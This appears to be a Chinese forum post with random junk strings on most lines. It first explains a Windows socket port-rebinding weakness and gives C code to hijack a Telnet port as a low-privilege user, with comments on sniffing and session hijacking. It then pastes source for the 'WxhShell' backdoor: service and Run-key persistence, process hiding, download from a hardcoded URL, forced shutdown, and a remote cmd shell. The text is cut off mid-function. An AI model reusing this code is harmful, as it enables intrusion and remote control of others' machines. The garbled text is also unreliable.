在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
}PTV] q% s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
vz.>~HBP fhL,aCS= saddr.sin_family = AF_INET;
nt*Hc1I R2Zgx\VV' saddr.sin_addr.s_addr = htonl(INADDR_ANY);
MxT-1&XL S<'[%ihx bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
_ODbY;M .o) `m9/ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
C74a(Bk}H /c
uLc^(X 这意味着什么?意味着可以进行如下的攻击:
lpz2 m\
PRHCrHs 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Fu!RhsW5j J8mdoVt 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
SkmT`*v@ dFKM
8_jH 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
^0/j0]O ;L']e"G 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
CrwwU7qKL _/i4MtM 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
n2iJ%_zp ty8v
6J# 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
")d`dj\o d_IAs 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Djg,Lvhm Na:w]r:y #include
,7<f9 EVY #include
"'D=,* #include
+HBd
%1 #include
+E{|63~q DWORD WINAPI ClientThread(LPVOID lpParam);
s&RVJX>Rt int main()
6Vz9?puD {
\[y`'OD~ WORD wVersionRequested;
PYGRsrcFd# DWORD ret;
~]QHk?[wc WSADATA wsaData;
/5u<78GW1 BOOL val;
4O35"1 SOCKADDR_IN saddr;
ZMel{w`n SOCKADDR_IN scaddr;
x QIq^/F0 int err;
@)fd}tV SOCKET s;
ouuuc9x] SOCKET sc;
J:Qa5MTWp int caddsize;
Z'\h HANDLE mt;
k |eBJ% DWORD tid;
2AMo:Jqv wVersionRequested = MAKEWORD( 2, 2 );
u:=7l err = WSAStartup( wVersionRequested, &wsaData );
q^Y-}=w if ( err != 0 ) {
'IwNTM printf("error!WSAStartup failed!\n");
<ZNzVnVA return -1;
RS8Hf~0G }
\SBc; saddr.sin_family = AF_INET;
b:TLV`>/& !qWH`[: //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
E"5*Ei)^3 MRdduPrM%$ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
,%M$0poKM saddr.sin_port = htons(23);
mWsI}2 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
[k/@E+; {
)r
jiY%F$ printf("error!socket failed!\n");
2+e}*&iQpp return -1;
nCdR EXw }
V=o
t-1,j7 val = TRUE;
h-`}L= //SO_REUSEADDR选项就是可以实现端口重绑定的
]?!mS[X if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
eQ]~dA8> {
?`PvL!' printf("error!setsockopt failed!\n");
t:'Mh9h7u return -1;
De'_SD|= }
L6|oyf //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
^SF&=NpV //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
;EP:o%r //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
w|K'M?N14 oY H^_V if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
,Ge"anO {
.nx2";oi ret=GetLastError();
` 2V19s] printf("error!bind failed!\n");
oYm[V<nIl return -1;
G$F<$ }
Wa{` VS listen(s,2);
@eKec1< while(1)
) QU {
!
t?iXZ caddsize = sizeof(scaddr);
:%,:" //接受连接请求
Ezd_`_@R sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
J;8IY= if(sc!=INVALID_SOCKET)
wNpTM8rfU# {
Y,^@P mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
CDK5 if(mt==NULL)
!xo{-@@wS {
/} b03 printf("Thread Creat Failed!\n");
rrik,qyv6 break;
Nh_Mz;ITuu }
B#Vz#y }
c7x~{V8 CloseHandle(mt);
4R1<nZ"e~ }
vunHNHltW0 closesocket(s);
Lr~=^{ WSACleanup();
(ROY?5
@c return 0;
$QN"wL|| }
wsI`fO^A8 DWORD WINAPI ClientThread(LPVOID lpParam)
UCB/=k^m {
Qp_isU SOCKET ss = (SOCKET)lpParam;
I
8`VNA&b SOCKET sc;
U`, 6 * MS unsigned char buf[4096];
"Q@ronP(~ SOCKADDR_IN saddr;
-g*4(w long num;
^:^9l1] DWORD val;
eg;~zv DWORD ret;
FQ<Ju. //如果是隐藏端口应用的话,可以在此处加一些判断
[+n*~ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
o ,AAC saddr.sin_family = AF_INET;
,St#Vla saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
qNB<T(' saddr.sin_port = htons(23);
7:plQ!7^ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
$P^q!H4D {
OEA&~4&{7 printf("error!socket failed!\n");
'vbsv T return -1;
n|9-KTe7|* }
:LF? val = 100;
{?}E^5Z*g if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
0zmE>/O+ {
r1 !@hT ret = GetLastError();
`yrB->|vG return -1;
L*xhGoC= }
?PeJlpYzV if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
zPn+V7F {
4'/nax$Bx; ret = GetLastError();
ls\WXCH return -1;
` Mjj@[ }
*\+\5pu0 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
PUp6Q;AdQ {
CkOz printf("error!socket connect failed!\n");
c|e~BQdRw closesocket(sc);
[%y';`( x closesocket(ss);
$p#Bi-& return -1;
AG`L64B }
bnf'4PAt while(1)
/?5 1D@ {
IA8f*]? //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
U)fc*s //如果是嗅探内容的话,可以再此处进行内容分析和记录
Rr&h!YMb //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
}~e8e num = recv(ss,buf,4096,0);
,<(}|go if(num>0)
:}'=`wa send(sc,buf,num,0);
>%}C^gu) else if(num==0)
6m*QX+ break;
3]}D`Qs6 num = recv(sc,buf,4096,0);
%?0:vn if(num>0)
%9KldcQ}~ send(ss,buf,num,0);
N7b8m?! else if(num==0)
{f3YsM;]C break;
3%#3iZ=_ }
X5zDpi|Dq closesocket(ss);
+rd|A|hRq closesocket(sc);
Aza /6OL return 0 ;
dk[!V1x4\ }
yj 3cyLXw 3`t#UY).F Q{s H3Y#l ==========================================================
#xsE3Wj-X ##,a0s^ 下边附上一个代码,,WXhSHELL
MU@UfB|;u 44ek
IV+? ==========================================================
EH+"~-v)ae gX@HO|.t #include "stdafx.h"
}eCw6 H%qsjB^ #include <stdio.h>
1gL2ia #include <string.h>
"jeb%k #include <windows.h>
j/323Za+ #include <winsock2.h>
Vz~{UHH6 #include <winsvc.h>
?8npG]L) #include <urlmon.h>
@'#,D!U U dT*E: 6 #pragma comment (lib, "Ws2_32.lib")
uw>Ba %5 #pragma comment (lib, "urlmon.lib")
g1/:Q%R,
pnl{&<$C%C #define MAX_USER 100 // 最大客户端连接数
jwc)Lj} #define BUF_SOCK 200 // sock buffer
E:UW#S%A
f #define KEY_BUFF 255 // 输入 buffer
[A+
>^ { orzZ{87 #define REBOOT 0 // 重启
l:
HTk4$0 #define SHUTDOWN 1 // 关机
p|X"@kuseO \:%(q/v"X #define DEF_PORT 5000 // 监听端口
T,,WoPU8t Sq>dt[7 #define REG_LEN 16 // 注册表键长度
DrKP%BnS #define SVC_LEN 80 // NT服务名长度
"%`1]Fr dU&a{$ku[ // 从dll定义API
K[I=6 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
d~9A+m3b_ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
zGb|) A~, typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
F+YZE[h% typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
e(]!GA \j@OZ // wxhshell配置信息
1!xQ=DU" struct WSCFG {
6dq(T_eG int ws_port; // 监听端口
ne>pOK<vZ char ws_passstr[REG_LEN]; // 口令
epA:v|S int ws_autoins; // 安装标记, 1=yes 0=no
l5S aT,% char ws_regname[REG_LEN]; // 注册表键名
5Yg'BkEr char ws_svcname[REG_LEN]; // 服务名
9'fQHwsJ char ws_svcdisp[SVC_LEN]; // 服务显示名
~8q)^vm>f? char ws_svcdesc[SVC_LEN]; // 服务描述信息
[+rfAW>p} char ws_passmsg[SVC_LEN]; // 密码输入提示信息
F|SXn\ int ws_downexe; // 下载执行标记, 1=yes 0=no
dPW#C5dm char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
tqz3zIQ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
\r/rBa\ pj\u9
L_ };
du<tGsy
R5N%e%[ // default Wxhshell configuration
CuaVb1r struct WSCFG wscfg={DEF_PORT,
= 6j&4p
` "xuhuanlingzhe",
R{C(K(5/ 1,
x>**;#7) "Wxhshell",
Kf bb)? "Wxhshell",
u(z$fG:g "WxhShell Service",
g#"zQv ON "Wrsky Windows CmdShell Service",
C8J[Up "Please Input Your Password: ",
1T"`vtR 1,
F|'>NL-= "
http://www.wrsky.com/wxhshell.exe",
$njUXSQ; "Wxhshell.exe"
S3q&rqarC% };
XQY#716) 8r*E-akuyr // 消息定义模块
W>${zVu char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
%^?fMeI|Y char *msg_ws_prompt="\n\r? for help\n\r#>";
Y@;CF char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
|UkR'Ma char *msg_ws_ext="\n\rExit.";
EEEh~6?-e char *msg_ws_end="\n\rQuit.";
=2`[& char *msg_ws_boot="\n\rReboot...";
Kr?TxhUHd char *msg_ws_poff="\n\rShutdown...";
5#HW2"7 char *msg_ws_down="\n\rSave to ";
F6|TP.VY_. 4GkWRu1 char *msg_ws_err="\n\rErr!";
C'>|J9~Gz char *msg_ws_ok="\n\rOK!";
()Y~Q(5ji z 9vInf@M char ExeFile[MAX_PATH];
vk}n,ecl int nUser = 0;
OSRp0G20k\ HANDLE handles[MAX_USER];
_~'=C#XI) int OsIsNt;
hCi 60%g/n 1$xNUsD2 SERVICE_STATUS serviceStatus;
h1j!IG SERVICE_STATUS_HANDLE hServiceStatusHandle;
M92dZ1+6 tZ]?^_Y1 // 函数声明
f/ U` int Install(void);
W\>fh&!) int Uninstall(void);
j
b!x: int DownloadFile(char *sURL, SOCKET wsh);
.N,bIQnj int Boot(int flag);
@KXV%a' void HideProc(void);
G4Q[Th int GetOsVer(void);
:">!r.Q int Wxhshell(SOCKET wsl);
Uf1!qP/H? void TalkWithClient(void *cs);
T(#J_Y int CmdShell(SOCKET sock);
ts,ZvY] int StartFromService(void);
V><,UI=,n int StartWxhshell(LPSTR lpCmdLine);
RFi
S@.7 >"??!|XG^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
e6`Jbu+J<f VOID WINAPI NTServiceHandler( DWORD fdwControl );
jte.Xy~g us1Hu) // 数据结构和表定义
NG=@ -eu SERVICE_TABLE_ENTRY DispatchTable[] =
`XJG(Oas\ {
R {wscfg.ws_svcname, NTServiceMain},
MR;1
2*p {NULL, NULL}
I5X|(0es };
ny]?I RF`.xQ26= // 自我安装
OTvPU kp* int Install(void)
(9tX5$e6N {
EGGWrl}1 char svExeFile[MAX_PATH];
4n#M HKEY key;
.8 2P(}h strcpy(svExeFile,ExeFile);
XD!W: uvb l3{-z4mw // 如果是win9x系统,修改注册表设为自启动
?U%qPv: if(!OsIsNt) {
?1*cO:O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
8Q.T g. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
;o
6lf_ RegCloseKey(key);
$By<$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
8^kGS-+^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
/}((l%U E. RegCloseKey(key);
IY_iB*T3jt return 0;
]P9l jwR }
y;4OY }
4(#'_jS }
s%vis{2 else {
/Y/UM3/ u]g%@3Pn // 如果是NT以上系统,安装为系统服务
5 )A1\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
*1ilkmL% if (schSCManager!=0)
|5X^u+_ {
jSJqE_ 1 SC_HANDLE schService = CreateService
M f}~{+ (
c_dVWh e schSCManager,
~G)S
wscfg.ws_svcname,
I
)~GZ wscfg.ws_svcdisp,
B+$%*%b SERVICE_ALL_ACCESS,
!`M,XSp( SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
>Ifr [ SERVICE_AUTO_START,
I:E`PZ SERVICE_ERROR_NORMAL,
df*#!D7oz svExeFile,
EZgq ?l~5O NULL,
kC:uG0sW NULL,
nB_?ckj, NULL,
l94b^W}1)W NULL,
2VPdw@"~} NULL
55G+; );
p99] if (schService!=0)
<3oWEm {
I~[F|d> CloseServiceHandle(schService);
;/bewivNJ CloseServiceHandle(schSCManager);
H/"-Z;0{ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
vRznw&^E strcat(svExeFile,wscfg.ws_svcname);
S:u:z=:r if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
}V'}E\\ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
`oAW7q)~ RegCloseKey(key);
g6yB6vk return 0;
UgRhWV~f0 }
H!@kO]?n }
ww)<E`eGi CloseServiceHandle(schSCManager);
-r!. 9q }
V~UN }
"0$a)4] >;jZa return 1;
3(``#7 }
?'IP4z;y M5i%jZk // 自我卸载
@hl.lq int Uninstall(void)
/~DI 6g {
ajve~8/& HKEY key;
:)8VdWg Cw~q4A6' if(!OsIsNt) {
Vo4,@scG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
pXtl
6K% RegDeleteValue(key,wscfg.ws_regname);
^Xz@`_I RegCloseKey(key);
W}nlRbN? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
M
"ui0
ac RegDeleteValue(key,wscfg.ws_regname);
BfXgh'Z~ RegCloseKey(key);
K>
%Tq return 0;
CVDV)#JA }
x!hh"x }
_PPy44r2 }
jY&k else {
uY0lR:| IWk4&yHUAu SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Lk|hQ
if (schSCManager!=0)
!'Ak&j1:` {
Plc-4y1 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
f<GhkDPm>? if (schService!=0)
Yh7rU?Gj {
}?lrU.@zg if(DeleteService(schService)!=0) {
sm9k/(- CloseServiceHandle(schService);
_qU4Fadgm CloseServiceHandle(schSCManager);
md+nj{Ib return 0;
=-tw5],
L }
'_<{p3M CloseServiceHandle(schService);
3Nl <p"= }
p$O.>
[ CloseServiceHandle(schSCManager);
3N8t`N }
"WlZ)wyF% }
6d:zb;Iz ;i4Q| return 1;
o5d%w-' }
tE.FrZS G`+T+ // 从指定url下载文件
/Jta^Bj int DownloadFile(char *sURL, SOCKET wsh)
Y&`=jDI {
W'els)WJ|x HRESULT hr;
hC:n5]K char seps[]= "/";
vjLJinJ/ char *token;
vp1941P char *file;
Mc@e0 char myURL[MAX_PATH];
8."]//V char myFILE[MAX_PATH];
"7U4'Y:E 1f%1*L0>@ strcpy(myURL,sURL);
v/@^Q1G/: token=strtok(myURL,seps);
y>:N{| while(token!=NULL)
1}S S+>` {
rUwZMli file=token;
K'55O&2 token=strtok(NULL,seps);
#:jHp44J }
"/yC@VC> ~3^
8>d/ GetCurrentDirectory(MAX_PATH,myFILE);
FO+Zue.RS strcat(myFILE, "\\");
XND|h#i8 strcat(myFILE, file);
@>u}eB>Kn send(wsh,myFILE,strlen(myFILE),0);
LuNc,n% send(wsh,"...",3,0);
E{`kaWmC&~ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
i6R~`0>Q if(hr==S_OK)
*lYVY)L return 0;
-^K"ZP1 else
Amp#GR1CA return 1;
y?rPlA_ \j+1V1t9 }
iM AfJ-oN |<HPn4
,X // 系统电源模块
wYdb*"R int Boot(int flag)
QFE:tBHe {
6O|@xvg HANDLE hToken;
vhe>)h*B TOKEN_PRIVILEGES tkp;
7z/|\D_{ w+C7BPV& if(OsIsNt) {
t\?ik6 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
mGtdO/C#B LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
FFl!\y*0z tkp.PrivilegeCount = 1;
NYt&@Z}] tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
s0\X ^ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
? 8)'oMD if(flag==REBOOT) {
`V=N*hv` if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
G"klu return 0;
grS:j+_M2m }
y.anl else {
I+BHstF5um if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
M*y)6H k~ return 0;
^({})T0wu }
%u? ># }
<S\jpB else {
E08klC0 if(flag==REBOOT) {
:Uz| 3gq if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
wZG\>9~ return 0;
-5
RD)(d }
lun#^ J else {
1uG"f<TsR if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
"&%I)e^ return 0;
0+iu(VbF }
Y}x>t* I }
4^:\0UF 4Z1ST; return 1;
vY4\59]P }
R_(tjkT s&A}
h // win9x进程隐藏模块
mi
ik%7>W void HideProc(void)
B,<da1(a {
%9w::hav 5*E]ETo@R HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
uvMy^_}L if ( hKernel != NULL )
0QFS {
zxMXXm; pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
x%}^hiO<q ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
,">]`|? FreeLibrary(hKernel);
7_%"BVb" }
{`J)j6; Hv!U|L return;
`lQ3C{} }
'r4/e-`pK ]*vdSr-J // 获取操作系统版本
j`oy`78O int GetOsVer(void)
%kv0Wefs {
R,gR;Aarw OSVERSIONINFO winfo;
\Npxv winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
W6f/T3 GetVersionEx(&winfo);
4S5,w(6N if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
j\,EO+ZQCv return 1;
L\Aq6q@c else
9`wZz~hL" return 0;
<nE>XAI_7 }
w0ht S)lkz'tdk // 客户端句柄模块
#EO9UW5 int Wxhshell(SOCKET wsl)
t=|evOz] {
(gy#js# SOCKET wsh;
&{ay=Mj struct sockaddr_in client;
5XO;N s DWORD myID;
Q7*SE%H JF # #
[O while(nUser<MAX_USER)
mZk]l5Lc {
,ek_R)&[o int nSize=sizeof(client);
D6%J\C13` wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
c0PIc^R(@ if(wsh==INVALID_SOCKET) return 1;
|*:'TKzNS mX_a^_[G handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
^.KwcXr if(handles[nUser]==0)
?>hPO73{ closesocket(wsh);
~kShq% else
"*m_> IU nUser++;
uZM{BgXXD }
4NGA/
G WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
fhar&\;S >Nvjl~o5 return 0;
6""G,"B }
wN`jE0
{ ]j'p :v // 关闭 socket
T@G?t0 void CloseIt(SOCKET wsh)
m=?KZ?U` {
(0j}-iaQEZ closesocket(wsh);
s@9vY\5[9 nUser--;
#i@;J]x( ExitThread(0);
gGr^@=;YC }
|k+8<\ ?,p;O // 客户端请求句柄
+,2:g}5 void TalkWithClient(void *cs)
plUZ"Tr {
M\sN@+ ]+(6,ct&. SOCKET wsh=(SOCKET)cs;
mFg<dTx0c8 char pwd[SVC_LEN];
`!XY]PI+e char cmd[KEY_BUFF];
'h/C oTk@, char chr[1];
ad.3A{ int i,j;
=x!2Ak/) .uuO>: while (nUser < MAX_USER) {
/s?r`' j[ %`OJ.:k if(wscfg.ws_passstr) {
o}W%I/s if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
`dFq:8v //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
}lh I\q //ZeroMemory(pwd,KEY_BUFF);
&S( .GdEf i=0;
k40* e\ while(i<SVC_LEN) {
bvS(@ afv~r>q(- // 设置超时
qDv93 fd_set FdRead;
9F4Dm*_< struct timeval TimeOut;
<\Eh1[F FD_ZERO(&FdRead);
'ixwD^x FD_SET(wsh,&FdRead);
{XNREjhm TimeOut.tv_sec=8;
hJn%mdx~w| TimeOut.tv_usec=0;
crqpV F]1] int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
V=zi
>o` if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Y,WuBH #cnq(S=. if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
L[^9E'L$ pwd
=chr[0]; {p;zuCF1
if(chr[0]==0xd || chr[0]==0xa) { ~;1l9^N|
pwd=0; ~KW,kyXBnD
break; Qj,]N@7
} 7[I}*3Q'
i++; 4kG,*3&2
} S/^"@?z,vE
X}tVmO?
// 如果是非法用户,关闭 socket My<snmr2d
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yHs-h
} dQ_!)f&w1
~V&aUDO>/
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fJ/e(t
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~MS\
FO!]P
while(1) { U 'R)x";=
Yj)#k)x
ZeroMemory(cmd,KEY_BUFF); 6b+b/>G0
2Tfz=7h$
// 自动支持客户端 telnet标准 *$p2*%7Ne
j=0; y$@ZN~8
while(j<KEY_BUFF) { "iU}]e0
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >;L6xt3
cmd[j]=chr[0]; Gs9:6
if(chr[0]==0xa || chr[0]==0xd) { odPL{XFj
cmd[j]=0; %K\?E98M
break; R(2tlZ
} Cz72?[6
j++; +)j$|x~(A
} c%&:6QniZ
!'mq ?C=
// 下载文件 _acE:H
if(strstr(cmd,"http://")) { %;e/7`>Ma
send(wsh,msg_ws_down,strlen(msg_ws_down),0); )^4\,u\@
if(DownloadFile(cmd,wsh)) T(e!_VY|m
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3T"j)R_=l
else > `n,S
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m\$\ 09
} &m|wH4\
else { AT9q3
T-5nB>)
switch(cmd[0]) { h&`e) a>+
Hz.(qW">5*
// 帮助 :@ %4
case '?': { y>72{
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e
' 2F#
break; v=_6XF
} *Txl+zTY
// 安装 !eEHmRgg4
case 'i': { #bl6sa{E
if(Install()) 5Cq{XcXV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ix(=3/Dgz
else HuwU0:*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F{eU";D
break; G`\f
} LUC4=kk4
// 卸载 ^j".
case 'r': { L5#P[cHzz
if(Uninstall()) #$c Rkw
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %kB8'a3
else 0JlZs]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r :F
break; /C>wd
} COW}o~3-4
// 显示 wxhshell 所在路径 MxY/`9>E|+
case 'p': { u>TZt]h8
char svExeFile[MAX_PATH]; -[6z 1"*
strcpy(svExeFile,"\n\r"); *d"DA[(
strcat(svExeFile,ExeFile); e pU:
send(wsh,svExeFile,strlen(svExeFile),0); &_~+(
break; m|=H#
} q{t*34R
// 重启 NX|v=
case 'b': { [k6nW:C
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [ {
bV4
if(Boot(REBOOT)) ADpmvW f?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); P?t"jKp'
else { hO';{Nl/$
closesocket(wsh); 9(6I<]#
ExitThread(0); >2,Gy-&"0
} `FsH}UPu
b
break; z)9wXo#~
}
Xtp"QY
p
// 关机 uO=aaKG
case 'd': { +"8,Mh
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \ gLHi~
if(Boot(SHUTDOWN)) |b*?
qf
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %,Ap7X3:QT
else { :{oZ ~<
closesocket(wsh); ~-PjW#J%
ExitThread(0); :cGt#d6
} {K9/HqH
break; _>9.v%5cs(
} Ti'}MC+0
// 获取shell -u?S=h}
case 's': { !!Aj<*%
CmdShell(wsh); |7X:TfJ
closesocket(wsh); `;)\u
ExitThread(0); ik!..9aB
break; "
t7M3i_
} LxpuhvIO
// 退出 7oq[38zB
case 'x': { '1$!jmY
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q*2N{
CloseIt(wsh); RTv
qls
break; lWqrU1Sjl
} # g_Bx
// 离开 #/I[Jqf
case 'q': { ]|sAK%/
send(wsh,msg_ws_end,strlen(msg_ws_end),0); nv0]05.4
closesocket(wsh); t`+'r}=d
WSACleanup(); h}]fnA
exit(1); ~M\I;8ne
break; 7DIIx}A
} jLpc
Zb,
} de>v
} "R3d+p
kI:}| _
// 提示信息 qQ0cJIISb\
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \mV'mZ9>
} 4E+hRKuo,
} Op>%?W8/UF
*P#WDXRwd
return; ?}m']4p
} Q4*fc^?u
jq+A-T}@
// shell模块句柄 $d,0=Ci
int CmdShell(SOCKET sock) lhtZaU~V
{ c wOJy>
STARTUPINFO si; $*kxTiG!7
ZeroMemory(&si,sizeof(si)); 6<$Odd
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ND5`Q"k
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c7M%xGrP
PROCESS_INFORMATION ProcessInfo; !w H'b
char cmdline[]="cmd"; `\m*+Bk[5
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :OW;?{ ~j
return 0; Bf$_XG3
} #?XQ7Im
l2&`J_"
// 自身启动模式 #hlCs
int StartFromService(void) ^k
Cn*&
{ aM{xdTYaU
typedef struct &m[Qn!>i6
{ WyZL9K{?
DWORD ExitStatus; r)i>06Hd
DWORD PebBaseAddress; PI*82,f3dE
DWORD AffinityMask; &R$CZU
DWORD BasePriority; @fa@s-wb
ULONG UniqueProcessId; j~FD{%4N
